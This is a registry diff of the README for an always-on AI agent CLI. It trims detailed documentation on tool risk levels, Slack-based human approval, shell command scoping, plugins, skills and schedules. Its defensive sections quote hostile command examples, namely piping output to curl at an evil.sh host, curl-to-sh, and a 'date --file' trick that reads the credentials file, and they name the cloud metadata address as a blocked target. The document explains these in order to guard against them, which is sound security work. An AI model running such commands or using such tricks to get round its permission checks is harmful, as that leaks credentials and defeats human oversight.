@stratusagent/cli 0.9.0 → 0.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,13 +1,16 @@
1
1
  # @stratusagent/cli
2
2
 
3
- Stratus Agent CLI — create always-on agents that get smarter over time. Quickly set up Stratus Agent on your machine, create new agents, connect AI providers, and configure channels.
3
+ **Always-on agents that get smarter over time.** Set up Stratus Agent on
4
+ your machine, create agents with real identities, connect AI providers, and
5
+ put them in Slack — from one command.
4
6
 
5
- <img width="2400" height="1004" alt="image" src="https://github.com/user-attachments/assets/ef16d58f-694c-406e-b201-aee61b093753" />
7
+ <!-- Pinned to the commit that added the asset so it renders on any ref
8
+ (including this branch pre-merge) and on npm, which needs an absolute
9
+ URL. Replacing the banner means updating this pin. -->
10
+ ![Stratus Labs](https://raw.githubusercontent.com/stratuslabs/agent/265bc175e60fd901b339095215439505606755bc/docs/assets/stratus-banner.png)
6
11
 
7
12
  ## Install
8
13
 
9
- Needs **Node.js 22.13+** — the gateway's session store uses `node:sqlite`, which runs unflagged from 22.13. On the 23.x line that landed separately, in **23.4**, so 23.0–23.3 are too old despite the higher number. Every package declares the range, and the CLI checks it at startup, so an unsupported Node gets a line naming what it needs rather than a missing-builtin error later on.
10
-
11
14
  ```bash
12
15
  npm install -g @stratusagent/cli
13
16
  stratus setup
@@ -15,968 +18,105 @@ stratus setup
15
18
 
16
19
  That one package is everything you need to run agents: the runtime, the
17
20
  providers, the agent roster, and the always-on gateway all come with it.
21
+ Needs **Node.js 22.13+** (23.x line: 23.4+) — the CLI checks at startup and
22
+ says so plainly if yours is too old. Details:
23
+ [Installation](https://github.com/stratuslabs/agent/blob/main/docs/start/installation.md).
18
24
 
19
- ### Optional channel packages
20
-
21
- Channels are the exception — the CLI ships **no** transport, so an install that
22
- never touches Slack never carries the Slack SDKs (~9 MB). Add the one you want
23
- alongside the CLI and `stratus serve` picks it up automatically:
24
-
25
- ```bash
26
- npm install -g @stratusagent/channel-slack
27
- ```
28
-
29
- You rarely have to type that. Connect an agent in `stratus setup` → **Channels**
30
- and **Save & finish** offers the install, because storing tokens is already the
31
- decision to use Slack — see [What Save & finish offers](#what-save--finish-offers).
32
-
33
- If tokens are stored for an agent but the package isn't installed, `stratus
34
- serve` says so and starts anyway, serving every other channel.
35
-
36
- ### Optional tool plugins
37
-
38
- Capability is optional in the same way, and gated more tightly. A plugin runs
39
- inside the daemon's process, so **installing one does not run it** — it runs
40
- when a trusted config lists and enables it, and then only for the agents whose
41
- souls name its tools:
42
-
43
- ```bash
44
- npm install -g @stratusagent/tool-fs @stratusagent/tool-web
45
- ```
46
-
47
- See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
48
- each pack does.
49
-
50
- ### Optional control API and dashboard
25
+ `stratus setup` is the whole onboarding, as one small menu: sign in (Claude
26
+ Pro/Max subscription or API key, ChatGPT/Codex, or any OpenAI-compatible
27
+ service), pick default and fallback models, create your first agent,
28
+ connect Slack, and
29
+ install the always-on service — no config files to edit, no env vars to
30
+ export. Walkthrough:
31
+ [Setup](https://github.com/stratuslabs/agent/blob/main/docs/start/setup.md).
51
32
 
52
- Same idea, and the same reason: installing it is how you say you want a port
53
- open. With it present, `stratus serve` also serves an authenticated HTTP +
54
- WebSocket API on `127.0.0.1:4123`.
55
-
56
- ```bash
57
- npm install -g @stratusagent/control-api @stratusagent/dashboard
58
- ```
59
-
60
- Two packages, because the API has three consumers and only one of them is a
61
- web page — the macOS app and a headless VM want the API without a UI. Install
62
- `@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
63
- the API serves the web UI at `/` as well.
64
-
65
- That API is what every non-terminal surface talks to — the web dashboard and
66
- the macOS app alike. Its full reference (endpoints, auth, the event envelope)
67
- lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
68
-
69
- Two files appear while it is serving, both `0600`:
70
-
71
- | File | What |
72
- | --- | --- |
73
- | `~/.stratus/gateway-token` | The bearer token clients authenticate with |
74
- | `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
75
-
76
- Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
77
-
78
- ```jsonc
79
- {
80
- "api": {
81
- "enabled": true,
82
- "host": "127.0.0.1",
83
- "port": 4123
84
- }
85
- }
86
- ```
87
-
88
- Like `approvals`, this block is read **only** from a config you chose
89
- yourself — the global `~/.stratus/config.json` or one passed with `--config`.
90
- An auto-discovered project-local `stratus.config.json` ships in any
91
- repository, and which interface a daemon binds is not a decision a cloned repo
92
- gets to make; one that tries is ignored, loudly.
93
-
94
- Localhost is the posture. To reach a machine at home, put it behind a tunnel
95
- (Tailscale is the pattern we recommend) rather than binding a public
96
- interface.
97
-
98
- ### The dashboard
99
-
100
- ```bash
101
- stratus dashboard
102
- ```
103
-
104
- It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
105
- the foreground when there is none (and says which it did). Then it mints a
106
- **single-use, short-lived sign-in link** and opens your browser at it — the
107
- one thing a browser cannot do for itself, since page JavaScript cannot read
108
- `~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
109
-
110
- The link works once. Run the command again for another. A daemon restart signs
111
- the browser out too, because its sessions live in memory.
112
-
113
- ### Talking to a daemon from another machine
114
-
115
- `stratus agents --gateway <url>` reads the roster from a running daemon
116
- instead of resolving it locally — the same listing, answered by the API:
117
-
118
- ```bash
119
- stratus agents --gateway http://127.0.0.1:4123
120
- ```
121
-
122
- Locally that needs nothing else: the token comes from
123
- `~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
124
- token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
125
-
126
- ## Setup
127
-
128
- `stratus setup` is the whole onboarding, as a small navigable menu:
129
-
130
- ```
131
- 1) Providers anthropic — signed in with your Claude subscription
132
- 2) Models default claude-opus-5 · fallback gpt-4.1-mini
133
- 3) Agent ~/.stratus/agents/ava.md
134
- 4) Channels Slack: 1 agent connected
135
- 5) Always on stratusd runs after setup, and at every login
136
- 6) Test run say hello with the current settings
137
- 7) Save & finish
138
- ```
139
-
140
- - **Providers** — sign in to one or more. For Claude, choose how you pay: a **Claude Pro/Max subscription** (run `claude setup-token`, paste the token — runs route through the Claude Code runtime, so your plan covers usage; requires Claude Code installed and signed in. Tool runs and memory work there too, so it's the same agent as on an API key) or an **Anthropic API key**, pasted straight into the prompt (input is hidden) and checked against the live API when the endpoint supports it — a rejected key is refused; an unreachable endpoint saves the key and verifies it on your first run. OpenAI-compatible services work like API keys, including local models and proxies via a custom base URL.
141
- - **Models** — pick a **default** and a **fallback**, listed live from the provider APIs where possible (subscription sign-ins and offline setups fall back to the known Claude lineup). If the default model errors mid-run, the run automatically retries on the fallback — even across providers.
142
- - **Menus are keyboard-driven** — arrow keys (or `j`/`k`) to move, Enter to pick, digits to jump, Esc to go back.
143
- - **Agent** — name your agent (or accept a generated identity), describe their personality, and their soul file lands in `~/.stratus/agents/`, ready to edit.
144
- - **Channels** — put an agent on Slack without opening a file. Pick the agent, and setup prints the app manifest with their name already filled in, walks you through the two tokens (input hidden), verifies each against Slack before accepting it, and stores them where `stratus serve` looks. The list marks who is connected; picking a connected agent offers to replace their tokens or disconnect.
145
- - **Always on** — whether the roster keeps answering once you close the terminal. On by default, because an agent you have to remember to start is not always-on, and every Slack app you connected above stays silent until `stratusd` runs. Save & finish installs it (see [Always on](#always-on)); choose *do not run it for me* and setup removes any service it previously installed.
146
- - **Test run** — say hello with the current settings before saving anything.
147
- - **Save & finish** — writes everything, offers any optional package your
148
- choices imply, then installs the always-on service.
149
-
150
- ### What Save & finish offers
151
-
152
- The CLI ships no transport and no open port, so a fresh machine finishes setup
153
- missing the packages its own answers just asked for. Setup knows that before
154
- the daemon does — it stored the Slack tokens itself — so **Save & finish** names
155
- what is missing and offers to install it:
156
-
157
- ```text
158
- 2 optional packages are not installed:
159
- @stratusagent/channel-slack
160
- Slack tokens are stored for 1 agent(s), but nothing connects to Slack without it.
161
- @stratusagent/control-api @stratusagent/dashboard
162
- `stratus dashboard` needs it, and it opens an authenticated port on 127.0.0.1.
163
-
164
- Install now with npm install -g?
165
- > Install all of them now
166
- Install the Slack channel only
167
- Install the Web dashboard only
168
- Skip
169
- ```
170
-
171
- Three things about it worth knowing:
172
-
173
- - **It asks, and anything left uninstalled prints its command** — whether you
174
- skipped the offer entirely or took only one of the two, since choosing one
175
- group is not a decision about the other. The control API binds a port, and
176
- installing it is how an operator says they want one open, so this stays a
177
- question rather than a default.
178
- - **It runs before the service install**, so the LaunchAgent comes up with
179
- those packages already present. A package installed *after* a daemon starts
180
- is invisible to it; that ordering is the whole reason the offer lives here
181
- rather than in a closing hint.
182
- - **A failed install never fails setup.** Your config and credentials are
183
- already written; you get npm's exit code and the command to run yourself.
184
-
185
- Setup only suggests `stratus dashboard` at the end when it can actually work —
186
- a machine that skipped or failed that install is not told to run a command that
187
- would exit with an error.
188
-
189
- Credentials are stored in `~/.stratus/credentials.json` (owner-read-only) and settings in `~/.stratus/config.json`, so `stratus run` works from any directory afterwards. No env vars to export, no config files to hand-edit.
190
-
191
- ## Usage
33
+ ## Commands
192
34
 
193
35
  ```bash
194
36
  stratus setup # onboarding menu: providers, models, agent, channels
195
37
  stratus chat # talk — the conversation persists
196
- stratus chat --soul ./ava.md
197
- stratus run "say hello"
198
- stratus run --soul ./ava.md "introduce yourself"
199
- stratus run --provider anthropic --model claude-opus-5 "hello"
200
- stratus run --prompt "use the echo tool" --format json
38
+ stratus run "say hello" # one-shot run (works offline on the demo provider)
201
39
  stratus serve # stratusd: the whole roster, always on
202
- stratus serve --idle-timeout 120 --no-events
203
40
  stratus serve --approvals remote # ask a human in Slack instead of refusing
204
41
  stratus service install # keep stratusd running under launchd/systemd
205
- stratus service status
206
42
  stratus logs -f # what the daemon has been doing
207
- stratus logs --agent ava -n 200
208
43
  stratus doctor # what a run would use right now, and why
44
+ stratus update # stop → upgrade → migrate → repair unit → restart
209
45
  stratus agent new # create an agent (guided on a terminal)
210
- stratus agent new --format soul > ava.md
211
46
  stratus agents # who's on the team: souls, models, memory
47
+ stratus skill add owner/repo # install skills from GitHub
212
48
  stratus schedules # what the fleet has scheduled, and where it reports
213
- stratus schedules cancel <id> # stop the next firing, revoke its destination
214
- stratus dashboard # local browser dashboard
215
- ```
216
-
217
- `stratus serve` runs the gateway in the foreground: every agent in your roster
218
- live at once on its own provider and model, sessions in SQLite so they survive
219
- restarts, delegation between agents, a watchdog for stalled turns, and any
220
- installed channels connected. Ctrl+C or SIGTERM drains cleanly.
221
-
222
- ### What the daemon will do on its own
223
-
224
- Tools declare how much damage they could do — `safe`, `gated`, or
225
- `dangerous` — and the daemon runs only the safe ones without asking. Anything
226
- riskier is refused, with a line in the log saying which agent wanted what:
227
-
228
- ```text
229
- 09:14:36 — warning: ava: shell.run is gated and nobody is available to approve it (session slack:ava:…)
230
- ```
231
-
232
- That is the honest default behind a service manager, where there is no
233
- terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
234
- them instead — see [Asking a human](#asking-a-human-remote-approval).
235
-
236
- A tool that declares no risk counts as `gated`, never `safe` — forgetting to
237
- classify something should cost a prompt, not an unattended command. Most
238
- built-in tools (`demo.echo`, `memory.remember`, `memory.recall`,
239
- `memory.forget`, `agent.delegate`, `schedule.list`, `schedule.cancel`) are
240
- `safe`; the built-in exceptions are `schedule.every`, `schedule.at`, and
241
- `message.send`, which are `gated` because they act past the end of the turn —
242
- see [Proactive agents](#proactive-schedules-and-outbound-messages). Anything
243
- you install is where this starts to bite, which is what the
244
- [Tools](#tools-what-an-agent-can-actually-do) section below is about.
245
-
246
- A **shell** is the exception to the whole paragraph, because its risk is in
247
- its argument rather than in its identity. `shell.run` is `gated`, and the
248
- permission engine then judges each command: a safe scope (`git status`,
249
- `git log`) runs unattended, everything else asks, and a control operator
250
- anywhere in the string disqualifies it however innocent the base command is.
251
- See [Which commands run unattended](#which-commands-run-unattended).
252
-
253
- The line is *acting outside Stratus* — the filesystem, the network, another
254
- service — not cost. Every turn spends provider tokens, including the one
255
- that decided to call a tool, so a policy that gated on spend would have to
256
- gate the conversation itself. Delegation stays `safe` for the same reason:
257
- it hands work to a teammate inside the fleet, that teammate's own tool
258
- calls face this policy again under their allowlist, and the chain is depth
259
- bounded.
260
-
261
- `stratus chat` and `stratus run` are unaffected: at a terminal, `--approvals`
262
- works exactly as before (`always`, `ask`, `never`).
263
-
264
- ### Asking a human: remote approval
265
-
266
- In `remote` mode a gated call does not fail — the turn parks, the request is
267
- posted to Slack with **Allow once**, **Always allow**, and **Deny**, and the
268
- turn resumes on the answer. The question goes to the thread the turn is
269
- happening in, so whoever is talking to the agent sees it where they already
270
- are.
271
-
272
- Turn it on for the daemon with `--approvals remote`, or in
273
- `~/.stratus/config.json` so the installed service picks it up too:
274
-
275
- ```jsonc
276
- {
277
- "approvals": {
278
- "mode": "remote", // headless (default) or remote
279
- "timeoutMs": 900000, // unanswered after 15 minutes → denied (max 2147483647)
280
- "slackApprovers": ["U01OPS"], // who may decide, for every agent
281
- "slackChannel": "C07OPS", // where to ask when the turn isn't in Slack
282
- "agents": {
283
- "ava": { "slackApprovers": ["U01DYLAN"] }
284
- }
285
- }
286
- }
287
- ```
288
-
289
- An agent inherits the top-level route key by key, so `ava` above asks her own
290
- approver in the shared `C07OPS` fallback channel. An explicit
291
- `"slackApprovers": []` on an agent excludes it from the default list — that
292
- agent's gated calls are then denied outright — while omitting the key
293
- inherits.
294
-
295
- **Only a config you chose is allowed to set this block** — `--config`,
296
- `STRATUS_CONFIG`, or the global `~/.stratus/config.json`. An auto-discovered
297
- project-local `stratus.config.json` outranks the global one for provider
298
- settings, but it can be checked into any repository, and appointing the
299
- people who may authorize an agent's tool calls is not something a clone gets
300
- to do. Its `approvals` block is ignored, with a warning naming the file.
301
-
302
- Three things are worth knowing before you turn it on:
303
-
304
- - **Approvers are people, not places.** Posting into a channel does not make
305
- everyone in it an approver: each request is bound to the ids configured for
306
- that agent, and anyone else's click is refused with a notice only they see.
307
- The request stays open for someone who may actually answer it. This matters
308
- most for **Always allow**, which widens what the agent may do unattended.
309
- - **An agent with no approver configured is denied immediately**, not left to
310
- time out — `remote` with nobody listed behaves exactly like `headless`. If
311
- no channel can ask for an agent at all (no Slack tokens for it, or
312
- `@stratusagent/channel-slack` not installed) there is nothing to render the
313
- request, so its gated calls wait out the timeout instead. The daemon names
314
- those agents at startup, rather than leaving you to find out at 3am:
315
-
316
- ```text
317
- approvals: remote — gated calls are parked and asked in Slack (approvers set for ava)
318
- ```
319
- - **A parked turn survives a restart.** The daemon records what has not run
320
- before it asks, so an approval outstanding when it stops is finished when
321
- it starts again — the question is re-asked in Slack, the call runs on the
322
- answer, and anything queued behind it still runs too. The re-asked request
323
- keeps the window it started with rather than getting a fresh one, and a
324
- wait that has already used up its `timeoutMs` is denied instead of
325
- re-asked: downtime is not a reason to extend a security decision.
326
- - **A turn that was mid-flight is failed, not left hanging.** Parking is the
327
- one state a restart can resume from — a turn that stopped anywhere else
328
- (waiting on the provider, inside a tool, or on an approval asked by an
329
- agent billed through a Claude subscription, which is deliberately not
330
- checkpointed) cannot be. Those sessions come back marked `failed`, with a
331
- reason saying stratusd stopped while they were running and to send the
332
- message again, rather than claiming to still be running forever. This is
333
- only for an ungraceful stop: a normal restart denies what is parked and
334
- finishes the turns those denials release before it exits. The thread hears
335
- about it too: a turn that fails with nobody rendering it is reported where
336
- it was asked, rather than going quiet and reading as an agent that never
337
- replied.
338
- - **A button left behind by a dead daemon corrects itself when clicked.** A
339
- normal shutdown retracts its buttons; a crash cannot, and the new process
340
- has no record of what the old one posted. Clicking such a prompt tells you
341
- it is no longer pending *and* rewrites the message so the next reader is
342
- not offered a decision nothing is waiting for. A prompt nobody clicks
343
- stays as it is.
344
- - **Always allow means different things for a tool and for a command.** For
345
- an ordinary tool it lasts for the session: it stops that tool asking again
346
- in the same conversation, and it is forgotten when the daemon restarts.
347
- For a call that carries a command — `shell.run` — it persists a *scope*
348
- instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
349
- restart. See below for what a scope keeps out.
350
-
351
- The request shows the tool's **arguments**, not just its name — for anything
352
- whose danger lives in what it was called with, approving a bare tool name is
353
- approving something you cannot see. Arguments are escaped (a model-written
354
- argument cannot mention or broadcast to the workspace through the prompt)
355
- and truncated with a visible notice when they are long.
356
-
357
- Requests are also denied — visibly, with a reason — when they expire, when
358
- the turn is cancelled, when the daemon shuts down, and when a turn reaches a
359
- gated call while the daemon is already stopping. Every one of those retracts
360
- the buttons in Slack, so a message never keeps offering a decision with
361
- nowhere to land.
362
-
363
- `timeoutMs` is capped at 2147483647 (~24.8 days), the longest timer Node can
364
- hold. A larger value is rejected at startup rather than accepted: it would
365
- not wait longer, it would expire every approval almost immediately.
366
-
367
- Approval buttons need the Slack app's **Interactivity** switched on. Apps
368
- created from the manifest that `stratus setup` prints already have it; an app
369
- created before this shipped needs it enabled once, in its App Manifest.
370
-
371
- ## Tools: what an agent can actually do
372
-
373
- Out of the box an agent can echo, remember, recall and forget its own
374
- memories, and delegate. Everything else —
375
- files, a shell, the web, a browser — arrives as a **plugin**: one package you
376
- install, list, and enable.
377
-
378
- ```bash
379
- npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
380
- @stratusagent/tool-web @stratusagent/tool-browser
381
- ```
382
-
383
- ```jsonc
384
- // ~/.stratus/config.json
385
- {
386
- "plugins": {
387
- "@stratusagent/tool-fs": {
388
- "enabled": true,
389
- "roots": ["~/notes"],
390
- "agents": {
391
- "ava": { "roots": ["~/work/ava"] },
392
- "juno": { "roots": ["~/work/juno", "~/shared"] }
393
- }
394
- },
395
- "@stratusagent/tool-web": { "enabled": true },
396
- "@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
397
- }
398
- }
399
- ```
400
-
401
- Keyed by **package name**, because a plugin's identity is its package and one
402
- may contribute more than tools. Per-agent settings go in an `agents` sub-block
403
- over the defaults above them — the same shape `approvals` already uses, and it
404
- matters more here: for `tool-fs` those values are an access boundary between
405
- agents rather than a preference.
406
-
407
- **Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
408
- the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
409
- so this list is a list of code, and an auto-discovered project-local
410
- `stratus.config.json` ships with any repository you clone. Its `plugins` block
411
- is ignored, with a warning naming the file, exactly as `api` and `approvals`
412
- are.
413
-
414
- `stratus run` and `stratus chat` load the same plugins from the same config, so
415
- a tool that works locally works in the daemon, and one that is missing is
416
- missing in both.
417
-
418
- ### Installing a plugin grants no agent anything
419
-
420
- The soul's allowlist is the second gate, and the per-identity one:
421
-
422
- ```markdown
423
- ---
424
- id: ava
425
- tools: [fs.read, fs.search, web.fetch]
426
- ---
49
+ stratus dashboard # web dashboard, signed in via a one-time link
427
50
  ```
428
51
 
429
- `fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
430
- editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
431
- never matches `fsx.read`. Listing nothing grants every registered tool, which
432
- is fine for a private agent and is not what you want once a shell is installed.
433
-
434
- ### What is available
435
-
436
- | Package | Tools | Risk |
437
- | --- | --- | --- |
438
- | [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
439
- | | `fs.write` | `gated` |
440
- | [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
441
- | [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
442
- | [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
443
- | | `browser.act` | `dangerous` — always a human |
444
- | [`@stratusagent/plugin-mcp`](../plugin-mcp) | `mcp.<server>.<tool>` — any MCP server's tools, discovered at connect | `gated`, whatever the server says; per-tool `toolRisks` overrides |
445
-
446
- Each package's README carries its own settings and the reasoning behind its
447
- risk levels. Three things are worth knowing here:
448
-
449
- - **`tool-fs` roots are a boundary, not a preference.** No roots means no
450
- filesystem — nothing is readable, rather than everything. Containment is
451
- decided between real paths, so a symlink inside a root pointing at
452
- `~/.stratus/credentials.json` is refused, and so is a write *through* a
453
- symlinked directory.
454
- - **`tool-shell` replaces the environment.** The command gets exactly what
455
- you granted (`passEnv`, `env`) and nothing else — the daemon's own
456
- environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
457
- - **`tool-web` and `tool-browser` refuse local addresses.** Both share one
458
- policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
459
- (`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
460
- NAT64 spellings of the same addresses. It is enforced on the connection,
461
- so a redirect or a DNS answer cannot walk an agent into your metadata
462
- endpoint. `allowedHosts` opens a specific one when you mean to.
463
- - **`plugin-mcp` mounts somebody else's code.** Each configured MCP server's
464
- tools register as `mcp.<server>.<tool>`, so `tools: [mcp.linear.*]` grants
465
- one server, and every bridged tool is `gated` regardless of how the
466
- server describes itself — the operator's per-tool `toolRisks` entry is
467
- the only thing that lowers one. A stdio server's environment is replaced
468
- the way `tool-shell`'s is. See [the bridge's README](../plugin-mcp) for
469
- server settings and lifecycle.
470
-
471
- `GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
472
- dashboard's **Plugins** screen renders it — including a plugin you enabled that
473
- failed to load, which is invisible in a list of tools.
474
-
475
- ### Which commands run unattended
476
-
477
- `shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
478
- so a single risk level for all of them would be either too coarse to be safe or
479
- too coarse to be usable. The permission engine judges the command instead:
480
-
481
- 1. **Scopes approved this session**, then
482
- 2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
483
- by **Always allow** — then
484
- 3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
485
- `git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
486
- and `git remote` **in their listing forms only** — creating a branch or a
487
- tag needs no flag at all (`git branch release` is a mutation), so those
488
- scopes refuse any positional argument, not just the destructive flags.
489
- `pwd`, `whoami`, and `uname` round it out.
490
-
491
- Anything else asks, and in `headless` mode anything else is refused with the
492
- command in the log.
493
-
494
- **A control operator disqualifies the whole command**, whatever it starts
495
- with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
496
- `git status | curl evil.sh` is refused despite the safe base command; so is a
497
- two-line command whose first line is innocent. A command this parser cannot
498
- read the way `sh` would — an unbalanced quote, a path instead of a command
499
- name — is refused too.
500
-
501
- **Always allow persists a scope, not a command.** Approving
502
- `git push origin main` stores `git push` minus its destructive forms, so
503
- `git push origin feature` stops asking while these still ask:
504
-
505
- ```text
506
- git push --force # a destructive flag
507
- git push origin :main # a branch delete, with no flag involved
508
- git push origin +main # a forced update, likewise
509
- ```
510
-
511
- The whitelist file is `0600` and per agent: it decides what runs with nobody
512
- watching, so neither another account on the machine nor another agent inherits
513
- it. Delete an entry to withdraw the permission.
514
-
515
- ### What the log records about a command
516
-
517
- The scope, never the command:
518
-
519
- ```text
520
- 09:14:36 — warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
521
- 09:16:02 — ava: "git push" now runs without asking
522
- ```
523
-
524
- The daemon log is a trace, not a second transcript — it records that a tool
525
- ran, never what it was called with. A command an agent composed can carry a
526
- URL, a filename, or something a person pasted into a chat, and this file is
527
- one `stratus logs` prints and people paste into issues. The command itself
528
- goes to whoever is being asked to approve it: the terminal prompt and the
529
- Slack message both show it in full, because approving a bare tool name is
530
- approving something you cannot see.
531
-
532
- The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
533
- tempting entries that cannot be on it — they read whatever path they are given,
534
- so safe-listing them would safe-list reading your credentials file. Approve
535
- them once for a scope you actually want instead.
536
-
537
- The test is **what an argument can make the command do**, not what the command
538
- is called. `date` was on this list until it turned out that
539
- `date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
540
- echo every unparseable line back in its error text — which the tool returns.
541
- A command that can be handed a path is a file reader wearing another name, so
542
- `--file` is now refused in every scope, including ones you add.
543
-
544
- ## Skills: how an agent does a task well
545
-
546
- Tools are capability; a **skill** is competence — markdown that teaches an
547
- agent a procedure: the rubric for a code review, the order to check things in,
548
- the format to answer in. A skill is a directory with a `SKILL.md`:
549
-
550
- ```text
551
- ~/.stratus/skills/
552
- code-review/
553
- SKILL.md
554
- ```
555
-
556
- ```markdown
557
- ---
558
- name: Code Review
559
- description: Use when reviewing a diff or a pull request.
560
- ---
561
-
562
- # Code review
563
-
564
- Lead with the verdict, then findings ordered by severity...
565
- ```
566
-
567
- The frontmatter is the soul dialect — `name`, `description`, optional
568
- `version`, and an optional `requires:` list of toolsets the procedure expects
569
- (`browser.*`) — read **tolerantly**, unlike a soul's: keys other ecosystems
570
- write (`license`, `allowed-tools`, nested `metadata:`) and YAML's multi-line
571
- descriptions are skipped rather than refused, so a skill published for
572
- another agent loads here unmodified. The directory name is the skill's id.
573
- Plugins can ship skills too, declared in their manifest; those are addressed
574
- by the package name verbatim (`stratus-plugin-github:pr-review`), and by the
575
- bare id while no other package claims it.
576
-
577
- ### Installing skills
578
-
579
- Anything on GitHub laid out as skill directories — including repos published
580
- to [skills.sh](https://skills.sh) — installs directly:
581
-
582
- ```bash
583
- stratus skill add owner/skills-repo # a whole repo of skills
584
- stratus skill add owner/repo --skill hn-search --agent ava
585
- stratus skill add ./my-skills # a local directory
586
- stratus skills # what is installed, and who enables it
587
- ```
588
-
589
- `skill add` takes a GitHub `owner/repo`, any git URL, or a local path; it
590
- finds skills at the repo root, one level down, and in the `skills/`,
591
- `.claude/skills/`, and `.agents/skills/` directories the ecosystem uses, then
592
- copies each **whole directory** into `~/.stratus/skills/`. An id already
593
- installed is refused per skill (`--force` replaces it), and an unparseable
594
- skill is reported while the rest still install.
595
-
596
- **Installed is not enabled.** A skill is markdown, but it is markdown your
597
- agent will *follow*, so installing a repo grants no agent anything — each
598
- soul still opts in through `skills:`. Pass `--agent <id>` to do both at once:
599
- the command appends the installed ids to that soul's list (rendering the file
600
- through the canonical formatter, like the API's field edits do).
601
-
602
- An agent gets a skill only when its soul asks — same allowlist shape as
603
- `tools:`, except that omitting it means **none** (a skill silently changing
604
- how an agent behaves is worse than an agent that has to be told):
605
-
606
- ```markdown
607
- ---
608
- name: Ava
609
- tools: [fs.read, fs.search]
610
- skills:
611
- - code-review
612
- - stratus-plugin-github:*
613
- ---
614
- ```
615
-
616
- **An enabled skill costs one line per turn, not its body.** Only the name and
617
- description reach the system prompt; the agent loads the full procedure with
618
- the built-in `skill.read` tool when the description says it is relevant. That
619
- is what lets a fleet carry thirty procedures without every turn paying for all
620
- thirty. `skill.read` is part of the skills mechanism — never list it under
621
- `tools:`; it appears (and works) for exactly the agents whose soul enables any
622
- skill, and reads only the skills that soul allows.
623
-
624
- **Write the description for routing.** It is the only thing the model sees
625
- before deciding to load the body, so it says *when to reach for this*, not
626
- what the file contains: "Use when reviewing a diff or a pull request", not "A
627
- rubric with twelve sections". A skill without a description does not load.
628
-
629
- A skill whose `requires:` names toolsets the agent's `tools:` does not cover
630
- is a warning when the daemon loads the roster, never a refusal — a skill is
631
- prose, and can degrade. `stratus run` and `stratus chat` serve the same skills
632
- directory the daemon does, so a skill that routes locally routes in Slack.
633
-
634
- ## Proactive: schedules and outbound messages
635
-
636
- Everything above answers when spoken to. Two toolsets make an always-on
637
- daemon into agents that act on their own:
638
-
639
- - **`schedule.every` / `schedule.at`** — recurring (an interval like `"30m"`
640
- or a five-field cron expression, local time) or one-shot (ISO-8601), with
641
- the prompt each firing runs and, optionally, the destination its reports
642
- are pre-authorized to post to.
643
- - **`schedule.list` / `schedule.cancel`** — an agent's own audit and undo.
644
- - **`message.send`** — post to a channel or DM outside the current
645
- conversation: `{ destination: { channel: "slack", to: "C0123456789" }, text }`.
646
- Without it a scheduled turn works in silence.
647
-
648
- Souls opt in like any other tool:
649
-
650
- ```markdown
651
- ---
652
- name: Ava
653
- tools:
654
- - schedule.*
655
- - message.send
656
- ---
657
- ```
658
-
659
- **The approval belongs to the schedule, not to the firing.** Creating a
660
- schedule is `gated`: a human approves "every morning, check the repo, report
661
- to #eng" once — cadence, prompt, and destination together. A `message.send`
662
- from that schedule's firings *to that destination* then runs unattended, in
663
- headless mode included: it is the decision already made, not a new one.
664
- Anywhere else — another channel, a DM, a schedule that declared no
665
- destination — stays gated exactly as in an inbound turn, so under `headless`
666
- it is refused and under `remote` it asks in Slack (in the configured
667
- `approvals.slackChannel`, since a scheduled turn has no thread of its own).
668
- Note that a plain **Allow once** on `schedule.every` therefore mints
669
- something durable — the request shows the cadence, prompt, and destination,
670
- because that is what is being approved.
671
-
672
- The rest of the shape, briefly:
673
-
674
- - **Each firing is its own session** (`schedule:<id>:<slot>`), dispatched
675
- through the same path a channel message takes, marked
676
- `scheduled: true` in metadata. Continuity across firings is what agent
677
- memory is for.
678
- - **Schedules are immutable.** Editing is cancel-plus-create, so the
679
- approval's scope is exactly the row's lifetime.
680
- - **A destination is validated at creation** — the agent's Slack app must be
681
- able to see the conversation and be a member of it — so a schedule that
682
- could never report is refused while somebody is present to hear why, not
683
- at 6am. The same membership check runs on every send: no cold-DMing.
684
- - **Schedules survive restarts** (they live in the daemon's own database),
685
- a slot is consumed *before* its firing dispatches so a crash mid-firing
686
- never double-runs it, and a missed window gets at most one late catch-up —
687
- windows that passed entirely are skipped with a log line.
688
- - **Two limits hold unattended spend down**: an interval floor (default one
689
- minute) and a per-agent cap on concurrent scheduled turns (default one —
690
- a firing that would exceed it waits for the next tick).
691
-
692
- What the fleet has set is never only the agents' business:
